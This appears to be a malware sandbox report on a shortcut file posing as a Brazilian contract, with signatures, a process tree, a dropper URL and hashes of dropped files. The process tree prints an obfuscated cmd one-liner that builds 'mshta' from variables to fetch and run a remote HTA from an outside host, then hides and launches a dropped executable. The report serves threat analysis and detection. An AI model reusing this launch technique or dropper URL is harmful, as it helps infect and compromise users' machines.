Analysis

  • max time kernel
    16s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 12:45

General

  • Target
    Contrato_Indeniza_Brasil-MS0ND1.lnk
  • Size 1KB
  • Sample260803-py3ztsbk71
  • SHA256 eb865f63907de91a828f033b6545c053ea61bbc575734847d3a6c3447eb71cfc
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies registry class 24 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-MS0ND1.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5748
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:on /C "set EUsjw=msh&&set Wa=ta&&start "" !EUsjw!!Wa! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:352
      • C:\Windows\System32\mshta.exe
        mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:256
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4228
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2080
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4328
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2556
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:5532
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:3592
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
            PID:2944
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:936
            • C:\Windows\System32\attrib.exe
              "C:\Windows\System32\attrib.exe" +h +s "C:\opjsqnjs\"
              4⤵
              • Views/modifies file attributes
              PID:1872
            • C:\opjsqnjs\opjsqnjs.exe
              "C:\opjsqnjs\opjsqnjs.exe" C:\opjsqnjs\opjsqnjs
              4⤵
                PID:2776
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                  PID:1920
                  • C:\Windows\system32\rundll32.exe
                    C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                    5⤵
                      PID:2260
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                    4⤵
                    • Executes a command shell one-liner
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:4860
                    • C:\Windows\System32\PING.EXE
                      ping -n 300 -w 1000 127.0.0.1
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:4524

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  103621DE9CD5414CC2538780B4B75751

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                  • Size 808B
                  • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                  • MD5 SHA1 SHA512 TLSH

                  1B1495DD322A24490E2BF2FAABAE1C61

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
                  • Size 355B
                  • SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
                  • MD5 SHA1 SHA512 TLSH

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 283B
                  • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                  • MD5 SHA1 SHA512 TLSH

                  9DD9D8EB1173CB9DA0F6DAA87673F76F

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
                  • Size 35KB
                  • SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  103621DE9CD5414CC2538780B4B75751

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                  • Size 192B
                  • SHA256 a0dbd4cfb360ea78393bf4a8a2b629ef9f7eccc95db22988865610a876db8224
                  • MD5 SHA1 SHA512 TLSH

                  1B1495DD322A24490E2BF2FAABAE1C61

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
                  • Size 192B
                  • SHA256 788e45e38d200b81a8a7a0fc657f96a2d9d9c9ac3902594fea23d8b0aea4ca06
                  • MD5 SHA1 SHA512 TLSH

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 192B
                  • SHA256 883d548030071f5221f507ce0b6ee9f450ef4ff6d35cb28ea7108117e1f76735
                  • MD5 SHA1 SHA512 TLSH

                  9DD9D8EB1173CB9DA0F6DAA87673F76F

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
                  • Size 246B
                  • SHA256 613ad35735b8bc21819023c1f34e9adfe44942a7d0259f4cf5c17a5b0cac1752
                  • MD5 SHA1 SHA512 TLSH

                  a1.zip

                  • Path C:\opjsqnjs\a1.zip
                  • Size 494KB
                  • SHA256 e2cafad25e3a402b8b2ebd87b38b164def1190fe76b04fcde358fc26973a78f3
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a2.zip

                  • Path C:\opjsqnjs\a2.zip
                  • Size 1.3MB
                  • SHA256 0f3128d9a33fbf39f19f2666a70a7dc3613906eef8d53681b0bccef829350f26
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a3.zip

                  • Path C:\opjsqnjs\a3.zip
                  • Size 2KB
                  • SHA256 6e082ad0913bb3b8c9600fe1d9436a6129b834f75299f7b2c4fb450353866a9d
                  • MD5 SHA1 SHA512 TLSH

                  opjsqnjs

                  • Path C:\opjsqnjs\opjsqnjs
                  • Size 1.3MB
                  • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  opjsqnjs.exe

                  • Path C:\opjsqnjs\opjsqnjs.exe
                  • Size 957KB
                  • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/2776-117-0x0000000005FC0000-0x0000000006187000-memory.dmp